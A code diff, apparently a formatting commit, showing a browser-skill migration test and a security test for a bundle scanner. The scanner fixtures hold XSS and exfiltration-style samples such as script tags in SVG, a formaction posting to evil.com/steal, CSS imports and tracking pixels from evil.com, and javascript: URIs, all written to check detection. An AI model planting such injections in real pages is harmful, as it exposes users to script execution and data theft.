  480. package/src/__tests__/view-image-tool.test.ts +118 -96
  481. package/src/__tests__/voice-invite-redemption.test.ts +111 -106
  482. package/src/__tests__/voice-quality.test.ts +117 -102
  483. package/src/__tests__/voice-scoped-grant-consumer.test.ts +204 -146
  484. package/src/__tests__/voice-session-bridge.test.ts +351 -216
  485. package/src/__tests__/weather-skill-regression.test.ts +170 -120
  486. package/src/__tests__/web-fetch.test.ts +664 -526
  487. package/src/__tests__/web-search.test.ts +379 -213
  488. package/src/__tests__/work-item-output.test.ts +90 -53
  489. package/src/__tests__/workspace-git-service.test.ts +437 -356
  490. package/src/__tests__/workspace-heartbeat-service.test.ts +125 -91
  491. package/src/__tests__/workspace-lifecycle.test.ts +98 -64
  492. package/src/__tests__/workspace-policy.test.ts +139 -71
  493. package/src/commands/__tests__/cc-command-registry.test.ts +142 -134
  494. package/src/config/__tests__/feature-flag-registry-guard.test.ts +48 -39
  495. package/src/config/bundled-skills/chatgpt-import/tools/chatgpt-import.ts +44 -4
  496. package/src/config/bundled-skills/doordash/__tests__/doordash-session.test.ts +0 -1
  497. package/src/config/bundled-skills/messaging/SKILL.md +9 -7
  498. package/src/config/bundled-skills/messaging/tools/gmail-outreach-scan.ts +15 -5
  499. package/src/config/bundled-skills/messaging/tools/gmail-sender-digest.ts +16 -5
  500. package/src/config/bundled-skills/messaging/tools/messaging-reply.ts +11 -7
  501. package/src/config/bundled-skills/slack/tools/slack-scan-digest.ts +34 -32
  502. package/src/config/bundled-tool-registry.ts +2 -0
  503. package/src/config/env.ts +38 -29
  504. package/src/daemon/handlers/skills.ts +18 -10
  505. package/src/daemon/ipc-contract/messages.ts +1 -0
  506. package/src/daemon/ipc-contract/surfaces.ts +7 -1
  507. package/src/daemon/session-agent-loop-handlers.ts +5 -0
  508. package/src/daemon/session-agent-loop.ts +1 -1
  509. package/src/daemon/session-process.ts +1 -1
  510. package/src/daemon/session-surfaces.ts +42 -2
  511. package/src/memory/db-connection.ts +16 -10
  512. package/src/messaging/providers/gmail/adapter.ts +10 -3
  513. package/src/messaging/providers/gmail/client.ts +280 -72
  514. package/src/runtime/auth/__tests__/context.test.ts +75 -65
  515. package/src/runtime/auth/__tests__/credential-service.test.ts +137 -114
  516. package/src/runtime/auth/__tests__/guard-tests.test.ts +84 -90
  517. package/src/runtime/auth/__tests__/ipc-auth-context.test.ts +40 -40
  518. package/src/runtime/auth/__tests__/middleware.test.ts +80 -74
  519. package/src/runtime/auth/__tests__/policy.test.ts +9 -9
  520. package/src/runtime/auth/__tests__/route-policy.test.ts +76 -65
  521. package/src/runtime/auth/__tests__/scopes.test.ts +68 -60
  522. package/src/runtime/auth/__tests__/subject.test.ts +54 -54
  523. package/src/runtime/auth/__tests__/token-service.test.ts +115 -108
  524. package/src/runtime/auth/scopes.ts +3 -0
  525. package/src/runtime/auth/token-service.ts +78 -48
  526. package/src/runtime/auth/types.ts +2 -1
  527. package/src/runtime/http-server.ts +2 -1
  528. package/src/security/secure-keys.ts +103 -53
  529. package/src/sequence/reply-matcher.ts +10 -6
  530. package/src/skills/frontmatter.ts +9 -6
  531. package/src/tools/browser/__tests__/auth-cache.test.ts +69 -63
  532. package/src/tools/browser/__tests__/auth-detector.test.ts +218 -157
  533. package/src/tools/browser/__tests__/jit-auth.test.ts +83 -99
  534. package/src/tools/ui-surface/definitions.ts +2 -1
  535. package/src/util/platform.ts +0 -12
  536. package/docs/architecture/http-token-refresh.md +0 -274
@@ -4,65 +4,70 @@
4
4
  * Locks the final invariants from the BROWSER_SKILL plan so that future
5
5
  * changes cannot silently regress any of the migration guarantees.
6
6
  */
7
- import { afterAll,beforeAll, describe, expect, test } from 'bun:test';
7
+ import { afterAll, beforeAll, describe, expect, test } from "bun:test";
8
8
 
9
- import { projectSkillTools, resetSkillToolProjection } from '../daemon/session-skill-tools.js';
10
- import { getDefaultRuleTemplates } from '../permissions/defaults.js';
9
+ import {
10
+ projectSkillTools,
11
+ resetSkillToolProjection,
12
+ } from "../daemon/session-skill-tools.js";
13
+ import { getDefaultRuleTemplates } from "../permissions/defaults.js";
11
14
  import {
12
15
  __resetRegistryForTesting,
13
16
  getAllToolDefinitions,
14
17
  getAllTools,
15
18
  initializeTools,
16
- } from '../tools/registry.js';
17
- import { eagerModuleToolNames } from '../tools/tool-manifest.js';
19
+ } from "../tools/registry.js";
20
+ import { eagerModuleToolNames } from "../tools/tool-manifest.js";
18
21
  import {
19
22
  BROWSER_SKILL_ID,
20
23
  BROWSER_TOOL_COUNT,
21
24
  BROWSER_TOOL_NAMES,
22
25
  buildSkillLoadHistory,
23
- } from './test-support/browser-skill-harness.js';
26
+ } from "./test-support/browser-skill-harness.js";
24
27
 
25
- afterAll(() => { __resetRegistryForTesting(); });
28
+ afterAll(() => {
29
+ __resetRegistryForTesting();
30
+ });
26
31
 
27
- describe('browser skill migration end-state', () => {
32
+ describe("browser skill migration end-state", () => {
28
33
  beforeAll(async () => {
29
34
  __resetRegistryForTesting();
30
35
  await initializeTools();
31
36
  });
32
37
 
33
38
  const BROWSER_TOOLS = [
34
- 'browser_navigate',
35
- 'browser_snapshot',
36
- 'browser_screenshot',
37
- 'browser_close',
38
- 'browser_click',
39
- 'browser_type',
40
- 'browser_press_key',
41
- 'browser_scroll',
42
- 'browser_select_option',
43
- 'browser_hover',
44
- 'browser_wait_for',
45
- 'browser_extract',
46
- 'browser_wait_for_download',
47
- 'browser_fill_credential',
39
+ "browser_navigate",
40
+ "browser_snapshot",
41
+ "browser_screenshot",
42
+ "browser_close",
43
+ "browser_click",
44
+ "browser_type",
45
+ "browser_press_key",
46
+ "browser_scroll",
47
+ "browser_select_option",
48
+ "browser_hover",
49
+ "browser_wait_for",
50
+ "browser_extract",
51
+ "browser_wait_for_download",
52
+ "browser_fill_credential",
48
53
  ] as const;
49
54
 
50
55
  // ── 1. Startup payload excludes browser tools ──────────────────────
51
56
 
52
- test('browser tools are NOT in startup core registry', () => {
57
+ test("browser tools are NOT in startup core registry", () => {
53
58
  const toolNames = getAllTools().map((t) => t.name);
54
59
  for (const name of BROWSER_TOOLS) {
55
60
  expect(toolNames).not.toContain(name);
56
61
  }
57
62
  });
58
63
 
59
- test('browser tool names are NOT in eagerModuleToolNames', () => {
64
+ test("browser tool names are NOT in eagerModuleToolNames", () => {
60
65
  for (const name of BROWSER_TOOLS) {
61
66
  expect(eagerModuleToolNames).not.toContain(name);
62
67
  }
63
68
  });
64
69
 
65
- test('startup tool definition count is reduced (no browser tools)', () => {
70
+ test("startup tool definition count is reduced (no browser tools)", () => {
66
71
  const definitions = getAllToolDefinitions();
67
72
  // Startup has ~15 eager + ~11 explicit definitions (no browser tools).
68
73
  // Allow wider drift for unrelated tool additions while still failing if
@@ -84,19 +89,25 @@ describe('browser skill migration end-state', () => {
84
89
 
85
90
  // ── 2. Browser skill exists and is active ──────────────────────────
86
91
 
87
- test('bundled browser skill directory exists with SKILL.md and TOOLS.json', async () => {
88
- const path = await import('node:path');
89
- const fs = await import('node:fs');
90
- const skillDir = path.resolve(import.meta.dirname, '../config/bundled-skills/browser');
91
- expect(fs.existsSync(path.join(skillDir, 'SKILL.md'))).toBe(true);
92
- expect(fs.existsSync(path.join(skillDir, 'TOOLS.json'))).toBe(true);
92
+ test("bundled browser skill directory exists with SKILL.md and TOOLS.json", async () => {
93
+ const path = await import("node:path");
94
+ const fs = await import("node:fs");
95
+ const skillDir = path.resolve(
96
+ import.meta.dirname,
97
+ "../config/bundled-skills/browser",
98
+ );
99
+ expect(fs.existsSync(path.join(skillDir, "SKILL.md"))).toBe(true);
100
+ expect(fs.existsSync(path.join(skillDir, "TOOLS.json"))).toBe(true);
93
101
  });
94
102
 
95
- test('browser TOOLS.json contains all 14 tools', async () => {
96
- const path = await import('node:path');
97
- const fs = await import('node:fs');
98
- const toolsPath = path.resolve(import.meta.dirname, '../config/bundled-skills/browser/TOOLS.json');
99
- const manifest = JSON.parse(fs.readFileSync(toolsPath, 'utf-8'));
103
+ test("browser TOOLS.json contains all 14 tools", async () => {
104
+ const path = await import("node:path");
105
+ const fs = await import("node:fs");
106
+ const toolsPath = path.resolve(
107
+ import.meta.dirname,
108
+ "../config/bundled-skills/browser/TOOLS.json",
109
+ );
110
+ const manifest = JSON.parse(fs.readFileSync(toolsPath, "utf-8"));
100
111
  expect(manifest.version).toBe(1);
101
112
  expect(manifest.tools).toHaveLength(14);
102
113
  const toolNames = manifest.tools.map((t: { name: string }) => t.name);
@@ -107,47 +118,54 @@ describe('browser skill migration end-state', () => {
107
118
 
108
119
  // ── 3. Permission defaults align with PR 08/09 ────────────────────
109
120
 
110
- test('skill_load has default allow rule', () => {
121
+ test("skill_load has default allow rule", () => {
111
122
  const templates = getDefaultRuleTemplates();
112
- const rule = templates.find((t) => t.id === 'default:allow-skill_load-global');
123
+ const rule = templates.find(
124
+ (t) => t.id === "default:allow-skill_load-global",
125
+ );
113
126
  expect(rule).toBeDefined();
114
- expect(rule!.decision).toBe('allow');
127
+ expect(rule!.decision).toBe("allow");
115
128
  });
116
129
 
117
- test('all browser tools have default allow rules', () => {
130
+ test("all browser tools have default allow rules", () => {
118
131
  const templates = getDefaultRuleTemplates();
119
132
  for (const tool of BROWSER_TOOLS) {
120
- const rule = templates.find((t) => t.id === `default:allow-${tool}-global`);
133
+ const rule = templates.find(
134
+ (t) => t.id === `default:allow-${tool}-global`,
135
+ );
121
136
  expect(rule).toBeDefined();
122
- expect(rule!.decision).toBe('allow');
137
+ expect(rule!.decision).toBe("allow");
123
138
  // browser_navigate uses standalone "**" globstar because navigate
124
139
  // candidates contain URLs with "/" (e.g. "browser_navigate:https://example.com/path").
125
- const expectedPattern = tool === 'browser_navigate' ? '**' : `${tool}:*`;
140
+ const expectedPattern = tool === "browser_navigate" ? "**" : `${tool}:*`;
126
141
  expect(rule!.pattern).toBe(expectedPattern);
127
142
  }
128
143
  });
129
144
 
130
145
  // ── 4. Tool wrapper scripts exist ──────────────────────────────────
131
146
 
132
- test('all 14 browser tool wrapper scripts exist', async () => {
133
- const path = await import('node:path');
134
- const fs = await import('node:fs');
135
- const toolsDir = path.resolve(import.meta.dirname, '../config/bundled-skills/browser/tools');
147
+ test("all 14 browser tool wrapper scripts exist", async () => {
148
+ const path = await import("node:path");
149
+ const fs = await import("node:fs");
150
+ const toolsDir = path.resolve(
151
+ import.meta.dirname,
152
+ "../config/bundled-skills/browser/tools",
153
+ );
136
154
  const wrapperFiles = [
137
- 'browser-navigate.ts',
138
- 'browser-snapshot.ts',
139
- 'browser-screenshot.ts',
140
- 'browser-close.ts',
141
- 'browser-click.ts',
142
- 'browser-type.ts',
143
- 'browser-press-key.ts',
144
- 'browser-scroll.ts',
145
- 'browser-select-option.ts',
146
- 'browser-hover.ts',
147
- 'browser-wait-for.ts',
148
- 'browser-extract.ts',
149
- 'browser-wait-for-download.ts',
150
- 'browser-fill-credential.ts',
155
+ "browser-navigate.ts",
156
+ "browser-snapshot.ts",
157
+ "browser-screenshot.ts",
158
+ "browser-close.ts",
159
+ "browser-click.ts",
160
+ "browser-type.ts",
161
+ "browser-press-key.ts",
162
+ "browser-scroll.ts",
163
+ "browser-select-option.ts",
164
+ "browser-hover.ts",
165
+ "browser-wait-for.ts",
166
+ "browser-extract.ts",
167
+ "browser-wait-for-download.ts",
168
+ "browser-fill-credential.ts",
151
169
  ];
152
170
  for (const file of wrapperFiles) {
153
171
  expect(fs.existsSync(path.join(toolsDir, file))).toBe(true);
@@ -156,30 +174,37 @@ describe('browser skill migration end-state', () => {
156
174
 
157
175
  // ── 5. Execution extraction is in place ────────────────────────────
158
176
 
159
- test('browser-execution.ts exists with exported execute functions', async () => {
160
- const path = await import('node:path');
161
- const fs = await import('node:fs');
162
- const execPath = path.resolve(import.meta.dirname, '../tools/browser/browser-execution.ts');
177
+ test("browser-execution.ts exists with exported execute functions", async () => {
178
+ const path = await import("node:path");
179
+ const fs = await import("node:fs");
180
+ const execPath = path.resolve(
181
+ import.meta.dirname,
182
+ "../tools/browser/browser-execution.ts",
183
+ );
163
184
  expect(fs.existsSync(execPath)).toBe(true);
164
- const content = fs.readFileSync(execPath, 'utf-8');
185
+ const content = fs.readFileSync(execPath, "utf-8");
165
186
  // browser_wait_for_download uses a standalone wrapper that calls
166
187
  // browserManager.waitForDownload() directly — no execute* function.
167
188
  const TOOLS_WITH_EXECUTE_FN = BROWSER_TOOLS.filter(
168
- (name) => name !== 'browser_wait_for_download',
189
+ (name) => name !== "browser_wait_for_download",
169
190
  );
170
191
  for (const name of TOOLS_WITH_EXECUTE_FN) {
171
192
  // Derive expected function name: browser_navigate -> executeBrowserNavigate
172
- const fnName = 'execute' + name
173
- .split('_')
174
- .map((s, i) => (i === 0 ? 'Browser' : s.charAt(0).toUpperCase() + s.slice(1)))
175
- .join('');
193
+ const fnName =
194
+ "execute" +
195
+ name
196
+ .split("_")
197
+ .map((s, i) =>
198
+ i === 0 ? "Browser" : s.charAt(0).toUpperCase() + s.slice(1),
199
+ )
200
+ .join("");
176
201
  expect(content).toContain(fnName);
177
202
  }
178
203
  });
179
204
 
180
205
  // ── 6. Runtime projection adds exactly 14 browser tools ──────────
181
206
 
182
- test('skill_load projection adds all 14 browser tools', () => {
207
+ test("skill_load projection adds all 14 browser tools", () => {
183
208
  const history = buildSkillLoadHistory(BROWSER_SKILL_ID);
184
209
  const tracking = new Map<string, string>();
185
210
 
@@ -1,8 +1,8 @@
1
1
  import { mkdtemp, rm } from "node:fs/promises";
2
2
  import { tmpdir } from "node:os";
3
3
  import { join } from "node:path";
4
+ import { afterAll, beforeAll, describe, expect, test } from "bun:test";
4
5
 
5
- import { afterAll,beforeAll, describe, expect, test } from "bun:test";
6
6
  import JSZip from "jszip";
7
7
 
8
8
  import { scanBundle, type ScanFinding } from "../bundler/bundle-scanner.js";
@@ -47,12 +47,18 @@ async function createBundle(
47
47
  }
48
48
 
49
49
  const data = await zip.generateAsync({ type: "uint8array" });
50
- const path = join(tempDir, `test-${Date.now()}-${Math.random().toString(36).slice(2)}.vellumapp`);
50
+ const path = join(
51
+ tempDir,
52
+ `test-${Date.now()}-${Math.random().toString(36).slice(2)}.vellumapp`,
53
+ );
51
54
  await Bun.write(path, data);
52
55
  return path;
53
56
  }
54
57
 
55
- function findByCode(findings: ScanFinding[], code: string): ScanFinding | undefined {
58
+ function findByCode(
59
+ findings: ScanFinding[],
60
+ code: string,
61
+ ): ScanFinding | undefined {
56
62
  return findings.find((f) => f.code === code);
57
63
  }
58
64
 
@@ -64,7 +70,8 @@ describe("SVG script tags", () => {
64
70
  test("blocks SVG with <script> tag", async () => {
65
71
  const path = await createBundle({
66
72
  "index.html": "<html><body>Hello</body></html>",
67
- "assets/icon.svg": '<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>',
73
+ "assets/icon.svg":
74
+ '<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>',
68
75
  });
69
76
  const result = await scanBundle(path);
70
77
  const f = findByCode(result.findings, "svg_script");
@@ -75,7 +82,8 @@ describe("SVG script tags", () => {
75
82
  test("passes clean SVG without script", async () => {
76
83
  const path = await createBundle({
77
84
  "index.html": "<html><body>Hello</body></html>",
78
- "assets/icon.svg": '<svg xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="40"/></svg>',
85
+ "assets/icon.svg":
86
+ '<svg xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="40"/></svg>',
79
87
  });
80
88
  const result = await scanBundle(path);
81
89
  const f = findByCode(result.findings, "svg_script");
@@ -90,7 +98,8 @@ describe("SVG script tags", () => {
90
98
  describe("iframe srcdoc", () => {
91
99
  test("blocks iframe with srcdoc attribute", async () => {
92
100
  const path = await createBundle({
93
- "index.html": '<html><body><iframe srcdoc="<script>alert(1)</script>"></iframe></body></html>',
101
+ "index.html":
102
+ '<html><body><iframe srcdoc="<script>alert(1)</script>"></iframe></body></html>',
94
103
  });
95
104
  const result = await scanBundle(path);
96
105
  const f = findByCode(result.findings, "iframe_srcdoc");
@@ -100,7 +109,8 @@ describe("iframe srcdoc", () => {
100
109
 
101
110
  test("passes HTML without srcdoc", async () => {
102
111
  const path = await createBundle({
103
- "index.html": "<html><body><iframe src=\"about:blank\"></iframe></body></html>",
112
+ "index.html":
113
+ '<html><body><iframe src="about:blank"></iframe></body></html>',
104
114
  });
105
115
  const result = await scanBundle(path);
106
116
  const f = findByCode(result.findings, "iframe_srcdoc");
@@ -115,7 +125,8 @@ describe("iframe srcdoc", () => {
115
125
  describe("formaction attribute", () => {
116
126
  test("blocks formaction with external URL", async () => {
117
127
  const path = await createBundle({
118
- "index.html": '<html><body><button formaction="https://evil.com/steal">Submit</button></body></html>',
128
+ "index.html":
129
+ '<html><body><button formaction="https://evil.com/steal">Submit</button></body></html>',
119
130
  });
120
131
  const result = await scanBundle(path);
121
132
  const f = findByCode(result.findings, "formaction_external");
@@ -125,7 +136,8 @@ describe("formaction attribute", () => {
125
136
 
126
137
  test("passes form without formaction", async () => {
127
138
  const path = await createBundle({
128
- "index.html": "<html><body><form action=\"#\"><button>Submit</button></form></body></html>",
139
+ "index.html":
140
+ '<html><body><form action="#"><button>Submit</button></form></body></html>',
129
141
  });
130
142
  const result = await scanBundle(path);
131
143
  const f = findByCode(result.findings, "formaction_external");
@@ -140,7 +152,8 @@ describe("formaction attribute", () => {
140
152
  describe("HTML event handlers", () => {
141
153
  test("warns on onerror attribute", async () => {
142
154
  const path = await createBundle({
143
- "index.html": '<html><body><img onerror="alert(1)" src="x"></body></html>',
155
+ "index.html":
156
+ '<html><body><img onerror="alert(1)" src="x"></body></html>',
144
157
  });
145
158
  const result = await scanBundle(path);
146
159
  const f = findByCode(result.findings, "html_event_handler");
@@ -150,7 +163,8 @@ describe("HTML event handlers", () => {
150
163
 
151
164
  test("warns on onclick attribute", async () => {
152
165
  const path = await createBundle({
153
- "index.html": '<html><body><div onclick="doStuff()">Click</div></body></html>',
166
+ "index.html":
167
+ '<html><body><div onclick="doStuff()">Click</div></body></html>',
154
168
  });
155
169
  const result = await scanBundle(path);
156
170
  const f = findByCode(result.findings, "html_event_handler");
@@ -160,7 +174,8 @@ describe("HTML event handlers", () => {
160
174
 
161
175
  test("passes HTML without event handlers", async () => {
162
176
  const path = await createBundle({
163
- "index.html": "<html><body><div class=\"container\">Safe</div></body></html>",
177
+ "index.html":
178
+ '<html><body><div class="container">Safe</div></body></html>',
164
179
  });
165
180
  const result = await scanBundle(path);
166
181
  const f = findByCode(result.findings, "html_event_handler");
@@ -175,7 +190,8 @@ describe("HTML event handlers", () => {
175
190
  describe("CSS @import", () => {
176
191
  test("warns on @import url()", async () => {
177
192
  const path = await createBundle({
178
- "index.html": "<html><head><style>@import url(https://evil.com/spy.css);</style></head><body></body></html>",
193
+ "index.html":
194
+ "<html><head><style>@import url(https://evil.com/spy.css);</style></head><body></body></html>",
179
195
  });
180
196
  const result = await scanBundle(path);
181
197
  const f = findByCode(result.findings, "css_import");
@@ -185,7 +201,8 @@ describe("CSS @import", () => {
185
201
 
186
202
  test("warns on @import with quoted URL", async () => {
187
203
  const path = await createBundle({
188
- "index.html": "<html><head><style>@import 'https://evil.com/spy.css';</style></head><body></body></html>",
204
+ "index.html":
205
+ "<html><head><style>@import 'https://evil.com/spy.css';</style></head><body></body></html>",
189
206
  });
190
207
  const result = await scanBundle(path);
191
208
  const f = findByCode(result.findings, "css_import");
@@ -194,7 +211,8 @@ describe("CSS @import", () => {
194
211
 
195
212
  test("passes without CSS @import", async () => {
196
213
  const path = await createBundle({
197
- "index.html": "<html><head><style>body { color: red; }</style></head><body></body></html>",
214
+ "index.html":
215
+ "<html><head><style>body { color: red; }</style></head><body></body></html>",
198
216
  });
199
217
  const result = await scanBundle(path);
200
218
  const f = findByCode(result.findings, "css_import");
@@ -209,7 +227,8 @@ describe("CSS @import", () => {
209
227
  describe("CSS external url()", () => {
210
228
  test("warns on url() with https", async () => {
211
229
  const path = await createBundle({
212
- "index.html": "<html><head><style>body { background: url('https://evil.com/pixel.gif'); }</style></head><body></body></html>",
230
+ "index.html":
231
+ "<html><head><style>body { background: url('https://evil.com/pixel.gif'); }</style></head><body></body></html>",
213
232
  });
214
233
  const result = await scanBundle(path);
215
234
  const f = findByCode(result.findings, "css_external_url");
@@ -219,7 +238,8 @@ describe("CSS external url()", () => {
219
238
 
220
239
  test("passes url() with local path", async () => {
221
240
  const path = await createBundle({
222
- "index.html": "<html><head><style>body { background: url('assets/bg.png'); }</style></head><body></body></html>",
241
+ "index.html":
242
+ "<html><head><style>body { background: url('assets/bg.png'); }</style></head><body></body></html>",
223
243
  });
224
244
  const result = await scanBundle(path);
225
245
  const f = findByCode(result.findings, "css_external_url");
@@ -234,7 +254,8 @@ describe("CSS external url()", () => {
234
254
  describe("data: URI", () => {
235
255
  test("warns on script src with data: URI", async () => {
236
256
  const path = await createBundle({
237
- "index.html": '<html><body><script src="data:text/javascript,alert(1)"></script></body></html>',
257
+ "index.html":
258
+ '<html><body><script src="data:text/javascript,alert(1)"></script></body></html>',
238
259
  });
239
260
  const result = await scanBundle(path);
240
261
  const f = findByCode(result.findings, "data_uri");
@@ -259,7 +280,8 @@ describe("data: URI", () => {
259
280
  describe("javascript: URI", () => {
260
281
  test("warns on href with javascript: URI", async () => {
261
282
  const path = await createBundle({
262
- "index.html": '<html><body><a href="javascript:alert(1)">Click</a></body></html>',
283
+ "index.html":
284
+ '<html><body><a href="javascript:alert(1)">Click</a></body></html>',
263
285
  });
264
286
  const result = await scanBundle(path);
265
287
  const f = findByCode(result.findings, "javascript_uri");
@@ -285,7 +307,8 @@ describe("SVG event handlers", () => {
285
307
  test("warns on SVG with onload handler", async () => {
286
308
  const path = await createBundle({
287
309
  "index.html": "<html><body>Hello</body></html>",
288
- "assets/icon.svg": '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"><circle cx="50" cy="50" r="40"/></svg>',
310
+ "assets/icon.svg":
311
+ '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"><circle cx="50" cy="50" r="40"/></svg>',
289
312
  });
290
313
  const result = await scanBundle(path);
291
314
  const f = findByCode(result.findings, "svg_event_handler");
@@ -296,7 +319,8 @@ describe("SVG event handlers", () => {
296
319
  test("warns on SVG element with onclick handler", async () => {
297
320
  const path = await createBundle({
298
321
  "index.html": "<html><body>Hello</body></html>",
299
- "assets/icon.svg": '<svg xmlns="http://www.w3.org/2000/svg"><circle onclick="alert(1)" cx="50" cy="50" r="40"/></svg>',
322
+ "assets/icon.svg":
323
+ '<svg xmlns="http://www.w3.org/2000/svg"><circle onclick="alert(1)" cx="50" cy="50" r="40"/></svg>',
300
324
  });
301
325
  const result = await scanBundle(path);
302
326
  const f = findByCode(result.findings, "svg_event_handler");
@@ -306,7 +330,8 @@ describe("SVG event handlers", () => {
306
330
  test("passes clean SVG without event handlers", async () => {
307
331
  const path = await createBundle({
308
332
  "index.html": "<html><body>Hello</body></html>",
309
- "assets/icon.svg": '<svg xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="40" fill="red"/></svg>',
333
+ "assets/icon.svg":
334
+ '<svg xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="40" fill="red"/></svg>',
310
335
  });
311
336
  const result = await scanBundle(path);
312
337
  const f = findByCode(result.findings, "svg_event_handler");